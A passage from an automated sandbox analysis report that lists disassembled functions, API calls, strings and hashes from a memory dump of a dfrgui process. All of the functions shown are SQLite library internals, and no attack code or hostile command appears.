winFullPathname3, xrefs: 61E26638

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_snprintf$sqlite3_mutex_entersqlite3_win32_is_nt
String ID: \$winFullPathname1$winFullPathname2$winFullPathname3$winFullPathname4
API String ID: 3752053736-2111127023
Opcode ID: 85a2622320e5ceb99c209d77fcfa26b48a81c37b6c8384df8a00d67849f76c30
Instruction ID: 702b258f710841541a62f7ae5ad9409d9e5ad47abd4fe81a02ffcb45b5e4f501
Opcode Fuzzy Hash: 85a2622320e5ceb99c209d77fcfa26b48a81c37b6c8384df8a00d67849f76c30
Instruction Fuzzy Hash: A6712870A08A859FD700EF69C49435DBBF1BF89358F64C92DE8998B341DB34C8468F56

Function 61E36AF9 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 284COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E36B0B
sqlite3_mprintf.SQLITE3 ref: 61E36B4B
sqlite3_mprintf.SQLITE3 ref: 61E36BA0
sqlite3_free.SQLITE3 ref: 61E36BC3
sqlite3_malloc64.SQLITE3 ref: 61E36BFE
sqlite3_snprintf.SQLITE3 ref: 61E36C35
sqlite3_malloc64.SQLITE3 ref: 61E36C8A
sqlite3_strnicmp.SQLITE3 ref: 61E36CDC
sqlite3_malloc64.SQLITE3 ref: 61E36D74
sqlite3_snprintf.SQLITE3 ref: 61E36DA7
sqlite3_free.SQLITE3 ref: 61E36DCE
sqlite3_free.SQLITE3 ref: 61E36DDE
sqlite3_mprintf.SQLITE3 ref: 61E36E22
sqlite3_free.SQLITE3 ref: 61E36E32
sqlite3_mutex_leave.SQLITE3 ref: 61E36EC9

Strings

., xrefs: 61E36D00
sqlite3_extension_init, xrefs: 61E36B63
te3_, xrefs: 61E36CAF

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_malloc64sqlite3_mprintf$sqlite3_snprintf$sqlite3_mutex_entersqlite3_mutex_leavesqlite3_strnicmp
String ID: .$sqlite3_extension_init$te3_
API String ID: 2803375525-613441610
Opcode ID: 5529e16185f8aa6e33667a67ce6690db47cf60ebdd8c2a861522ff802901c713
Instruction ID: ecb1b9b003740ba2a7be63e5d2d380d826a4db408abf7401ce153773bfe8aa38
Opcode Fuzzy Hash: 5529e16185f8aa6e33667a67ce6690db47cf60ebdd8c2a861522ff802901c713
Instruction Fuzzy Hash: 3AC1F5B0A083559FDB00DFA9D48469DBBF1AF88358F24C82AE8989B350D774D981CF52

Function 61E24CA1 Relevance: 28.6, APIs: 19, Instructions: 132COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 61E24CBB
sqlite3_value_numeric_type.SQLITE3 ref: 61E24CC7
sqlite3_value_int.SQLITE3 ref: 61E24CD4
sqlite3_stricmp.SQLITE3 ref: 61E24CFC
sqlite3_value_numeric_type.SQLITE3 ref: 61E24D08
sqlite3_value_int.SQLITE3 ref: 61E24D17
sqlite3_stricmp.SQLITE3 ref: 61E24D37
sqlite3_value_numeric_type.SQLITE3 ref: 61E24D43
sqlite3_value_int.SQLITE3 ref: 61E24D52
sqlite3_stricmp.SQLITE3 ref: 61E24D7E
sqlite3_value_numeric_type.SQLITE3 ref: 61E24D8A
sqlite3_value_int.SQLITE3 ref: 61E24D98

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmpsqlite3_value_intsqlite3_value_numeric_type
String ID:
API String ID: 2723203140-0
Opcode ID: b8de1dbb54fff5f011ce93fe52c4387029e97006fba7536a031b2d066330c8bc
Instruction ID: 6ba9591ad8705334a4b441c0aa83940e6fc6bbfcf66dde31e84d436f967a05b2
Opcode Fuzzy Hash: b8de1dbb54fff5f011ce93fe52c4387029e97006fba7536a031b2d066330c8bc
Instruction Fuzzy Hash: 74414BB090CB868AD301AF65849065EBBF4FFC4348F35C92ED8AA8B310E778D4519B41

Function 61E36656 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 342COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 61E366A4
sqlite3_malloc64.SQLITE3 ref: 61E366D8
memcmp.MSVCRT ref: 61E36747
memcmp.MSVCRT ref: 61E3690C
memcmp.MSVCRT ref: 61E36959
sqlite3_mprintf.SQLITE3 ref: 61E36980
memcmp.MSVCRT ref: 61E369BD
memcmp.MSVCRT ref: 61E369F1
sqlite3_mprintf.SQLITE3 ref: 61E36A3D
sqlite3_malloc64.SQLITE3 ref: 61E36A6B
sqlite3_vfs_find.SQLITE3 ref: 61E36AA2
sqlite3_mprintf.SQLITE3 ref: 61E36ABE
sqlite3_free.SQLITE3 ref: 61E36AD3

Strings

access, xrefs: 61E36923
@, xrefs: 61E36673
cache, xrefs: 61E369EA, 61E36A08

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_mprintf$sqlite3_malloc64$sqlite3_freesqlite3_vfs_find
String ID: @$access$cache
API String ID: 1538829708-1361544076
Opcode ID: 374587448939d92ee5a66507c2747f9a983a48fc21cd5dd8822d7c5042ac3afd
Instruction ID: a404acc0fa61c76f7f4c75d354b7934dbce88c6c91b1fc72bb1e74e9adc6754e
Opcode Fuzzy Hash: 374587448939d92ee5a66507c2747f9a983a48fc21cd5dd8822d7c5042ac3afd
Instruction Fuzzy Hash: 85D14DB09083A58BDB01CFA8C4807ADBBF1AF8D308F68C46ED895AB351D735D946CB51

Function 61E3A4C7 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 310COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E3A520

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_snprintf.SQLITE3 ref: 61E3A54C
sqlite3_free.SQLITE3 ref: 61E3A57F
sqlite3_mutex_enter.SQLITE3 ref: 61E3A59F
sqlite3_mutex_leave.SQLITE3 ref: 61E3A5B5
sqlite3_mutex_enter.SQLITE3 ref: 61E3A5C9
sqlite3_realloc64.SQLITE3 ref: 61E3A6AC
sqlite3_mutex_leave.SQLITE3 ref: 61E3A7D3

Strings

winShmMap1, xrefs: 61E3A60C
winShmMap3, xrefs: 61E3A710
winOpenShm, xrefs: 61E3A890
winShmMap2, xrefs: 61E3A67C

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_freesqlite3_mutex_leave$sqlite3_realloc64sqlite3_snprintf
String ID: winOpenShm$winShmMap1$winShmMap2$winShmMap3
API String ID: 424382227-1629717226
Opcode ID: 9f7e7baed7ae38222fedcd3fdba458d530756995da1ea006594880bf5aec1f8a
Instruction ID: c16576b8a7adffa94e6da5f09b96fb21f24cf1bdcfeb28b6b67acb6efe012cd6
Opcode Fuzzy Hash: 9f7e7baed7ae38222fedcd3fdba458d530756995da1ea006594880bf5aec1f8a
Instruction Fuzzy Hash: EED123B4A046158FDB04DF69C48465ABBF1BFC9318F25C86DE889DB361D774D882CB82

Function 61E38CB3 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E38CD7
sqlite3_value_bytes.SQLITE3 ref: 61E38CE3
sqlite3_db_config.SQLITE3 ref: 61E38D1C
sqlite3_value_bytes.SQLITE3 ref: 61E38D2D
sqlite3_value_blob.SQLITE3 ref: 61E38D53
sqlite3_result_error.SQLITE3 ref: 61E38D85
sqlite3_result_error.SQLITE3 ref: 61E38D9F
sqlite3_mprintf.SQLITE3 ref: 61E38DCB
sqlite3_result_error.SQLITE3 ref: 61E38DE1
sqlite3_free.SQLITE3 ref: 61E38DE9
sqlite3_result_blob.SQLITE3 ref: 61E38E0A

Strings

out of memory, xrefs: 61E38D7A

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_error$sqlite3_value_bytes$sqlite3_db_configsqlite3_freesqlite3_mprintfsqlite3_result_blobsqlite3_value_blobsqlite3_value_text
String ID: out of memory
API String ID: 2048698484-2599737071
Opcode ID: bada42216c3117378189d7d37e037a47c5ff422c4d775488b0017cc3ed939671
Instruction ID: 0e9ac9a273a3be5c4c3f0ac54ba7d767f0b0be3adca5189208b3a4a340a04fd5
Opcode Fuzzy Hash: bada42216c3117378189d7d37e037a47c5ff422c4d775488b0017cc3ed939671
Instruction Fuzzy Hash: 2141D4B09097659BCB10EF69C484A5EBBF4BF89324F21CA1DE4A49B390D334D841DF92

Function 61E383AF Relevance: 18.4, APIs: 12, Instructions: 369COMMON

Download Yara Rule

APIs

sqlite3_result_error.SQLITE3 ref: 61E383FB
sqlite3_value_int.SQLITE3 ref: 61E38427
sqlite3_value_text.SQLITE3 ref: 61E38438
sqlite3_value_text.SQLITE3 ref: 61E38446
sqlite3_value_text.SQLITE3 ref: 61E38454
sqlite3_value_int.SQLITE3 ref: 61E38465
sqlite3_malloc.SQLITE3 ref: 61E3849B

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_int$sqlite3_mallocsqlite3_result_error
String ID:
API String ID: 3802728871-0
Opcode ID: 4bb96df0e9ea02b8170901ff376ca01795a7f330bf45b90a118c2171c451509a
Instruction ID: 986d93c8621d22c1e3821f4a9a88547e0709dfd3bbeae8af5483fa94638b7c59
Opcode Fuzzy Hash: 4bb96df0e9ea02b8170901ff376ca01795a7f330bf45b90a118c2171c451509a
Instruction Fuzzy Hash: 121270749053298FDB50DF68C984B8DBBF1BF88314F1085AAE899E7341E7349A85DF01

Function 61E37DDF Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 216COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E37DF8

Part of subcall function 61E35932: sqlite3_initialize.SQLITE3 ref: 61E35938
Part of subcall function 61E35932: sqlite3_vmprintf.SQLITE3 ref: 61E35952

Strings

+ , xrefs: 61E37F44
NOT , xrefs: 61E38006
(,)?, xrefs: 61E38057
AND , xrefs: 61E37FFA
", xrefs: 61E37FA9
OR , xrefs: 61E3800B

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_initializesqlite3_mprintfsqlite3_vmprintf
String ID: + $ AND $ NOT $ OR $"$(,)?
API String ID: 2841607023-3708749232
Opcode ID: 421b7e58fe59b67fc18d91f612a8f70df693ff6b2363c0b3c213e67722688da6
Instruction ID: f954bea1e517b25f1cd89783acd7ebbd91ceddcf9c0d2012b53659fe3b9d058f
Opcode Fuzzy Hash: 421b7e58fe59b67fc18d91f612a8f70df693ff6b2363c0b3c213e67722688da6
Instruction Fuzzy Hash: 2B912774A08266CFDB01CFA9C480A59FBF5BF89314F25C96DE894AB351D335D841CBA2

Function 61E25E92 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

sqlite3_result_value.SQLITE3 ref: 61E25EC5
sqlite3_snprintf.SQLITE3 ref: 61E25F08
sqlite3_snprintf.SQLITE3 ref: 61E25F48
sqlite3_result_text.SQLITE3 ref: 61E260C2

Strings

NULL, xrefs: 61E260B7

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_snprintf$sqlite3_result_textsqlite3_result_value
String ID: NULL
API String ID: 336169149-324932091
Opcode ID: cd2d0b220e9fe2a60919f3565b0d02ed4481aad89998ffd588daf0d896c8c80d
Instruction ID: 76aad4926f9cdc6ce2b236da1c08f74fdf59268def3ce4266b134a5fec0b0963
Opcode Fuzzy Hash: cd2d0b220e9fe2a60919f3565b0d02ed4481aad89998ffd588daf0d896c8c80d
Instruction Fuzzy Hash: 0C6190B09083C58ED7119F68C8A4B59BFF2AF89318F29CA5CD4D84B396D739C845DB42

Function 61E1D8F3 Relevance: 16.9, APIs: 3, Strings: 8, Instructions: 358stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 61E1DBA4
strncmp.MSVCRT ref: 61E1DBF9
strncmp.MSVCRT ref: 61E1DC4A

Strings

-, xrefs: 61E1DCA1
}, xrefs: 61E1DD5C
], xrefs: 61E1DD66
true, xrefs: 61E1DBEE
false, xrefs: 61E1DC3F
null, xrefs: 61E1DB99
-, xrefs: 61E1DC91
0, xrefs: 61E1DC9A

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: strncmp
String ID: -$-$0$]$false$null$true$}
API String ID: 1114863663-1443276563
Opcode ID: 2d8f4ad17957d192658b6d5a2df88e89c47a4fcf74da8d86e228ce30a68b010c
Instruction ID: e6771dfb145aaa4d20fa7767e438eac79a16df9819e23ad06bc229398806a484
Opcode Fuzzy Hash: 2d8f4ad17957d192658b6d5a2df88e89c47a4fcf74da8d86e228ce30a68b010c
Instruction Fuzzy Hash: 90D10878A0C6854EDB16CFACC08A7A9BBF3BB45318F68C659C4959738EC3B8D446C741

Function 61E391A1 Relevance: 16.7, APIs: 11, Instructions: 192COMMON

Download Yara Rule

APIs

Part of subcall function 61E0A16B: sqlite3_free.SQLITE3 ref: 61E0A17A
Part of subcall function 61E0A16B: sqlite3_free.SQLITE3 ref: 61E0A185

sqlite3_value_text.SQLITE3 ref: 61E391CE
sqlite3_value_bytes.SQLITE3 ref: 61E391E1
sqlite3_malloc64.SQLITE3 ref: 61E391F6

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_malloc64sqlite3_value_bytessqlite3_value_text
String ID:
API String ID: 3723316075-0
Opcode ID: 5bb083ce7b55658ed5000a96a36b8ac8afc5bcfb9e12c57a4192e2f3b2459be3
Instruction ID: 22e8a2bc36b0d42e25d0c77893fd0e4e20206209d4327523fa6a2cec838ffccf
Opcode Fuzzy Hash: 5bb083ce7b55658ed5000a96a36b8ac8afc5bcfb9e12c57a4192e2f3b2459be3
Instruction Fuzzy Hash: DC7158B09086558FDB00DF69C4C479ABBE1BF89318F25C4ADD8899B366DB38D845CF81

Function 61E33A22 Relevance: 16.7, APIs: 11, Instructions: 175COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E33A39
sqlite3_value_bytes.SQLITE3 ref: 61E33A4E
sqlite3_value_text.SQLITE3 ref: 61E33A5C
sqlite3_value_bytes.SQLITE3 ref: 61E33A8E
sqlite3_value_text.SQLITE3 ref: 61E33A9C
sqlite3_value_bytes.SQLITE3 ref: 61E33AB2
memcmp.MSVCRT ref: 61E33B37
sqlite3_result_error_toobig.SQLITE3 ref: 61E33B8A

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_bytessqlite3_value_text$memcmpsqlite3_result_error_toobig
String ID:
API String ID: 3428878466-0
Opcode ID: 95864ebcf0e2298551cabad4a871c2290fd186f0101a9e085c7b10dd8f6295b1
Instruction ID: 355e2b8cb1278eb5bb79b524e4f87f4515eb57521e46ccb7f5d3ab20dc6cde23
Opcode Fuzzy Hash: 95864ebcf0e2298551cabad4a871c2290fd186f0101a9e085c7b10dd8f6295b1
Instruction Fuzzy Hash: 3871EF74E042599FCB04DFA9D490A9DBBF1BF88314F24856AE898EB340D734E842CF50

Function 61E0C41B Relevance: 16.6, APIs: 11, Instructions: 54COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E0C43D
sqlite3_free.SQLITE3 ref: 61E0C448
sqlite3_free.SQLITE3 ref: 61E0C45C
sqlite3_free.SQLITE3 ref: 61E0C466
sqlite3_free.SQLITE3 ref: 61E0C471
sqlite3_free.SQLITE3 ref: 61E0C47C
sqlite3_free.SQLITE3 ref: 61E0C487
sqlite3_free.SQLITE3 ref: 61E0C492
sqlite3_free.SQLITE3 ref: 61E0C49D
sqlite3_free.SQLITE3 ref: 61E0C4A8
sqlite3_free.SQLITE3 ref: 61E0C4B0

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
